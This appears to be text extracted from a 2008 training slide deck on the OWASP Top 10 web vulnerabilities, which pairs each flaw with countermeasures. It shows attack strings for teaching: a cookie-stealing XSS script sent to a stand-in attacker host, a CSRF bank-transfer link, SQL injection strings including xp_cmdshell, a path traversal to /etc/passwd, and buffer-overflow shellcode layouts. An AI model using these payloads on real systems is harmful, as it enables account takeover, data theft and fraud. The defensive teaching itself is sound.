Slide 1: Pune, India January 2008
Slide 2: SANS @RI SK December 2007
Microsoft Products Mac Linux Unix, Solaris, etc Network Device Others ( various ) Web Applicatio ns
3 10 Dec De c
2 2 10 5 1 31 70 3 2 5 3 3 33 34
17 24 31 Total Dec Dec Dec
12 2 8 3 1 30 52 0 4 11 4 1 37 35 2 0 0 1 1 16 52 19 10 34 16 7 147 24 3
Slide 3:
“ The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks. Everyone is free to participate in OWASP and all of our materials are available under an open source license… ”
Slide 4:
U.S. Federal Trade Commission U.S. Defense Information Systems Agency U.S. DOD Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP) Payment Card Industry (PCI) standard & some of the leading corporations around the globe …
Slide 5:
Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application. Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets. Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service. Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks.
Slide 7:
A1 – Cross Site Scripting (XSS) ............................................................................................................................... ....... A2 – Injection Flaws .............................................................................................................................. ........ A3 – Malicious File Execution ........................................................................................................................ .............. A4 – Insecure Direct Object Reference ........................................................................................................................ .............. A5 – Cross Site Request Forgery (CSRF) ............................................................................................................................. ......... A6 – Information Leakage and Improper Error Handling ......................................................................................................................... ............. A7 – Broken Authentication and Session Management ................................................................................................................... ................... A8 – Insecure Cryptographic Storage ........................................................................................................................... ...........
Slide 8: OWASP Top 10 2004
Slide 9:
Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space. It is well known vulnerability Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code.
Slide 10:
Common software security flaw Commonly affect C and C++ Google for buffer overflows.
Slide 11: int main(int argc, void ** argv[]) { char buff[64]; strcpy(buff,argv[1]); return 0; }
No Boundary Check
What will happen if we pass 100 character long string as a argument ????
Slide 12: --------------
Buffer 1
Return address
Other data
--------------
Slide 13: --------------
\x90\x90\x90\x90 \x90\x90\x90\x90 Return Address \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 Shellcode --------------
Filled Buffer with NOP’s and Shellcode
Slide 14:
Occurs when too much data is written into the allocated heap area. Generally allocated by malloc(). Snippest:
#define BUFSIZE 256 int main(int argc, char **argv) { char *buf; buf = (char *)malloc(BUFSIZE); strcpy(buf, argv[1]); }
Slide 15:
It occurs when user supplied input data is processed as a command by an application. The application doesn’t validate user supplied data. The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc.
Slide 16:
Format String parameters : %d, %c, %d, %n, %s etc When passed these arguments may,
-- read values from the stack -- write values on the stack -- execute arbitrary code
Example: printf (Input Data);
Slide 17:
Old EIP over-write method New techniques are evolved Structured Exception Handler Over-write Heap Spray Heap Feng Shui Not a part of this presentation Demo : Heap Spray
Slide 18:
Avoid using functions such as strcpy (), strcat (), sprintf () and vsprintf () which perform no bounds checking. Always check the bounds of an array before writing it to a buffer. Validate user supplied data for format string parameters Use automated tools like fuzzers to test bo’s Manual code review – Best one, needs good efforts from Reviewer Follow OWASP guidelines www.owasp.org
Slide 19:
Exploit Demo using Heap Spray
Slide 21:
The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated. Very simple and Dangerous attack Got popular in recent times Performs GET/POST request of attacker’s choice on behalf of logged in user Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc
Slide 22:
It’s just one-click attack (According to MS) Malicious request can be embedded in <img>, <href>, <iframe> tags Website has a trust in user Browser will automatically parse the request based on user session cookies Example. Gmail flaw lets anyone to read the friend’s list
Slide 23: <a href="http://googlified.com.googlepages.com/contactlist.htm">
Slide 24:
Stored CSRF / Persistent - Example: Simply store it in <img> tag Reflected / Non – Persistent - Example: Send a malicious link
Slide 25: 1
`
Logging Request Auth Cookies 2
`
3
Legitimate Requests
www.bank.com 6
Victim
5
Click Here
4
Transfer Money
7
`
Sends an email containing malicious href tag.
Attacker
<a href= http://www.bank.com/transfer.php?acc=attacker&amount=$10000>
Slide 26:
User logs into bank.com using user-id and password. The Bank.com sends cookies to the user if he is valid one for later authentication. User performs other request like balance enquiry etc. While user is online, he receives an email saying you have own $1,00,000. Innocent user clicks on the link without any concern. The link contains malicious fund transfer request. The request is sent to the bank.com by the browser treating it is a valid one. The money gets transferred to the attacker.
Slide 27:
Use security tokens or security key for every request URL and form posting Use POST request instead of GET Referrer header field check Manual testing for CSRF Re-authenticate the user for critical operations Log off before visiting unknown domains
Slide 28:
Use POST request instead of GET Alone it is not sufficient, can be done using XmlHttpRequest using javascript Referrer header field check Can be spoofed Best is to use random tokens/keys for every request
Slide 29:
ViewStateUserKey :Assigns an identifier to an individual user in the view state variable associated with the current page ASP. net property that helps you to prevent CSRF attacks Set this property to user-id or session id
Slide 30:
Wiki Website
Slide 32:
XSS allow script to be executed at client side. Website allows a user to inject arbitrary HTML Code Exists due to bad input validation Forces a website to echo attacker’s supplied code Compromises trust between user and website
Slide 33:
May steal cookies, redirect you to another location Different from CSRF (cross site request forgery) Very known old bug Can be used for phishing
Slide 34: Simple XSS :<script> alert (‘XSS’) </script> Attack : http://test.com/test.php?var=<script>alert(‘XSS’)</script>; Attack: <a href= http://test.com/test.php?var=<script>alert(‘XSS’)</script>; ></a> Attack: <script>document.location=“http://attacker/steal_cookies.php ?cookies=“+document.cookie</script>
Slide 35:
Reflected XSS / Persistent Stored XSS / Non – Persistent DOM Based XSS
Slide 36:
Easiest to exploit Immediate response to HTTP request Page directly reflect user supplied data back to user Typically search engine results, error messages May reach you from email messages
Slide 37: Reflected XSS
BID - 21534
Slide 38:
Stores XSS in a database or file Stored permanently Very dangerous for blogs, forums Large number of victim gets affected while accessing stored XSS Eg. Samy Worm -- MySpace Worm JS-Yamanner – Yahoo Worm
Slide 40:
Don’t send the malicious data to the server in the first place Insecure object reference and use of DOM objects that are not fully controlled by the server provided page Objects: location, URL, referrer etc Example: document.location + $username
Slide 41: 1
Logging Request Auth Cookies 2
`
`
3 6
Legitimate Requests
www.bank.com
Victim
5 Stolen Cookies
Click Here
4
7
`
Sends malicious request
<script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>
Attacker
Slide 42:
Powerful language Attacker can manipulate the webpage Can add new elements or change the look of the page Mostly used in XSS attack XSS can be carried out using VBScript, Activex, Flash etc
Slide 43:
HTML injection plus XSS Attacker used <embed> tag and Flash Orkut application failed to parse user supplied data Affected 7,00,000 accounts in 24 hours The worm only forces victim to join attacker’s own community. Attacker can have done even worse !!!
Slide 44: • •
Application copied all the data after wmode The code gets converted into javascript and flash object Attacker successfully inserted other script which will run his malicious code Orkut has patched this bug
•
•
Slide 45:
Validate or encode all input parameters Output Encoding Output Encoding - Microsoft AntiXSS Library Filter every parameter of the request including header fields mainly <, > Check for length, type, syntax….. Use automated tools for finding XSS – Microsoft XSS Detect Use NoScript plug-in for firefox Disable Javascript if possible Don’t trust on suspicious emails Don’t visit untrusted websites
Slide 46: Injection Flaws
Slide 47:
SQL Injection The ability to inject SQL commands into the database engine through an existing application. How common it is ? It is probably the most common Web application vulnerability. It is a flaw in "web application" development, it is not a DB or web server problem.
◦ Most programmers are still not aware of this problem. ◦ A lot of the tutorials & demo “templates” are vulnerable. ◦ Even worse, a lot of solutions posted on the Internet are not good enough.
Slide 48:
Almost all SQL databases and programming languages are potentially vulnerable
◦ MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS Access, Sybase, Informix, etc ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more
Accessed through applications developed using:
Slide 49:
E xtr acting data fr o m M e ta da ta OS Interac ti on
A ss essin g Netwo r k Co nne c ti vi ty
◦ '; exec master..xp_s ervicecontrol 'start','FTP Publishing' – ◦ '; exec master..xp_cmdshell 'ping MyIP' --
Slide 51: ◦ How does an attacker detect SQL Injection vulnerabilities on a web page?
SQL Err or m e ss ag e s SQL Disclos ure
Breaks the query syntax and looks for error messages. Injects variations of OR 1=1 and looks for Table growth. Union injection approach. Injects True injection string ‘OR 1=1 and False Injection strings ‘AND 1=0 Compare original response, true response and false response. Targets the Insert, Update, Delete queries vulnerable to SQL Injection. Causes delay in execution of the query and obtains delay time. Compare default time and delay time to determine the vulnerability. Note : Time delay SQL clauses are database specific.
B lin d SQL Inje ct ion
SQL Inj ec tion T im e de lay
Slide 52: ◦ SQL Er r or M essa ge s ◦ Tr y to br eak syntax of SQ L q ue r y
Injection Strings: \‘ 1) ')); Detection Strings: java.sql.SQLException Internal Servlet Error: MySQL Error : Oracle SQL invalidation Sybase/MSSQL SQL invalidation error in your SQL syntax ODBC Microsoft Access Driver] Syntax error
Slide 53: ◦ Blind SQL Injection ◦ Determine if a page is v ulnerable based on responses to TRUE/FALS E queries ◦ Base query ◦ TRUE query
select * from table where col1 = ‘x’; Store response R 0
◦ FALSE query
Inject: ‘ OR 1=1; - Injected query: select * from table where col1 = ‘x’ OR 1=1 ;- Store response R 1 Inject: ‘ AND 1=0; - Injected query: select * from table where col1 = ‘x’ AND 1=0; - Store response R 2
◦ If (R0 is identical with R1/R0 is identical with R2) and R1 differs from R2, page is vulnerable to exploitation via Blind SQL injection technique
Slide 54: ◦ SQL Injec ti on – T ime d e l ay ◦ Determi ne if a p ag e is v uln e ra b le ba se d o n defaul t r esponse ti me a nd d e la ye d ◦ r esponse ti me . ◦ Default response time
Obtain the default response time per field by breaking the query - defaultTimeUsed. Inject “; waitfor delay ’00:00:15’” in the application query for every field. Obtain the delayed response time - actualTime.
◦ Delayed response time
◦ If actualTime > defaultTimeUsed + timeSpread - 500, page is vulnerable to SQL injection. (500 ms discrepancy allowed.)
Slide 55: ◦ How to prevent SQL Injection? ◦ Development phase ◦ QA phase
Input validation Parametrized queries Source code auditing Hack your own web application Web application firewall (Intrusion Detection System)
◦ Production phase
Slide 56: ◦ Sampl e sec ur e c od e ◦ Input validation ◦ if (<validating_condition>) ◦ String sqlQuery = “SELECT * FROM users WHERE userid = ‘” + username + ‘”; ◦ else ◦ throw new IllegalArgumentException();
if (<validating_condition>) could be a simple length check, such as:
if (username.length() < MAX_POSSIBLE_LENGTH) if ( username.matches(“[0-9a-zA-Z’]*”) ) if ( username.matches(“\b[A-Z0-9._%-]+@[A-Z0-9.-] +\.[A-Z]{2,4}\b”) )
Slide 57: ◦ Sample s ecur e code ◦ Prepared statement String username = httpRequest.getParameter(“username”);
String query = “SELECT * FROM users WHERE userid = ?”; PreparedStatement stmt = db_conn.prepareStatement(query); stmt.setString(1, username); ResultSet results = stmt.executeQuery();
Slide 58: ◦ SQL Injection is one of the most dangerous attack in the Web application security world. ◦ An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically. ◦ Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase.
Slide 60: OWASP Definition:
Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.
Slide 61:
A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include: Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software) Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
Slide 62:
Do not allow user input to be used for any part of a file or path name. Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value. File uploads have to be done VERY carefully. ◦ Only allow uploads to a path outside of the webroot so it can not be executed ◦ Validate the file name provided so that a directory path is not included. ◦ Implement or enable sandbox or chroot controls which limit the applications access to files.
Slide 63: Insecure Direct Object Reference
Slide 64: OWASP Definition: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.
Slide 65:
Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable. For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources. <select name="language"><option value="fr"> Français </option> </select> … require_once ($_REQUEST['language’]."lang.php"); Such code can be attacked using a string like "../../../../etc/passwd %00" using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system
Slide 66:
Avoid exposing private object references to users whenever possible, such as primary keys or filenames Validate any private object references extensively with an "accept known good" approach Verify authorization to all referenced objects
Slide 68: OWASP Definition:
Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.
Slide 69:
Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this: Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes
Slide 70:
Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.) Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input. Provide short error messages to the user while logging detailed error information to an internal log file. Diagnostic information is available to site maintainers Vague messages indicating an internal failure provided to the users Provide just enough information to allow what is reported by the user to be able to linked the internal error logs. For example: System Timestamp, client IP address, and URL
Slide 71:
Ensure sensitive responses with multiple outcomes return identical results Save the different responses and diff the html, the http headers & URL. Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker.
Slide 73: OWASP Definition: Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.
Slide 74:
HTTP/s Protocol does not provide tracking of a users session. Session tracking answers the question: ◦ After a user authenticates how does the server associate subsequent requests to the authenticated user? Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly. Often developers will make the mistake of inventing their own session tracking. Cookie Cruncher
Slide 75: Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update.
Slide 76:
Session ID is disclosed or is guessed. An attacker using the same session ID has the same privileges as the real user. Especially useful to an attacker if the session is privileged. Allows initial access to the Web application to be combined with other attacks.
Slide 77: Use long complex random session ID that cannot be guessed. Protect the transmission and storage of the Session ID to prevent disclosure and hijacking. A URL query string should not be used for Session ID or any User/Session information ◦ URL is stored in browser cache ◦ Logged via Web proxies and stored in the proxy cache Example:
https://www.example.net/servlet/login?userid=ralph&password=dumb
Slide 78:
Password Change Controls - require users to provide both old and new passwords Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address. Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case. Password Expiration - Users must change passwords every 90 days, and administrators every 30 days.
Slide 79:
Password Storage - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form. Protecting Credentials in Transit - to prevent "man-in-the-middle" attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1 Man-in-the-middle attacks - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates. Replay attacks - Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed.
Slide 80: Client
Server
GET www.abc.com www.abc.com/login.asp login.asp POST username + password
login.asp
homepage.asp www.abc.com/homepage.asp homepage.asp
logoff
Slide 81: Client
Server
GET www.abc.com www.abc.com/login.asp login.asp POST username + password
login.asp
authenticate.asp Redirect : www.abc.com/homepage.asp Redirect request GET www.abc.com/homepage.asp www.abc.com/homepage.asp homepage.asp
homepage.asp
logoff
Slide 82: OWASP Definition: Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
Slide 83: Preventing cryptographic flaws takes careful planning. The most common problems are:
Not encrypting sensitive data Using home grown algorithms Insecure use of strong algorithms Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…) Hard coding keys, and storing keys in unprotected stores
Slide 84:
Improper/insecure storage of passwords, certifications, and keys Poor choice of algorithm Poor source of randomness for initialization vectors Attempting to develop a new encryption scheme "in house” (Always a BAD idea) Failure to provide functionality to change encryption keys
1] SQL credentials 2] x = input(); y=f(x);
Slide 85:
Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better Generate keys offline and store private keys with extreme care. Never transmit private keys over insecure channels Ensure that infrastructure credentials such as database credentials or MQ queue access details are properly secured. Ensure that encrypted data stored on disk is not easy to decrypt.
Slide 86: OWASP Definition: Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.
Slide 87:
Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted. Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request. Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important.
Slide 88:
Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards.
Slide 89: OWASP Definition: Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.
Slide 90:
The primary attack method for this vulnerability is called "forced browsing", which encompasses guessing links and brute force techniques to find unprotected pages. Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike. This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed. .
Slide 91:
Ensure the access control matrix is part of the business, architecture, and design of the application Ensure that all URLs and business functions are protected by an effective access control mechanism Perform a penetration test Pay close attention to include/library files Do not assume that users will be unaware of special or hidden URLs or APIs. Block access to all file types that your application should never serve. Keep up to date with virus protection and patches
Slide 92:
OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update ( www.owasp.org ) Microsoft :: Improving Web Application Security : Threats and Countermeasures
crosoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en)
(http://www.mi
SANS @Risk (
www.sans.org
) )
SPI Dynamics (
http://spidynamics.com/index.html
FoundStone HacMe resources ( http://www.foundstone.com/us/resources-free-tools.asp )
Slide 93:
abhijitapatil@gmail.com sandeepgholve@gmail.com umesh.wanve@gmail.com
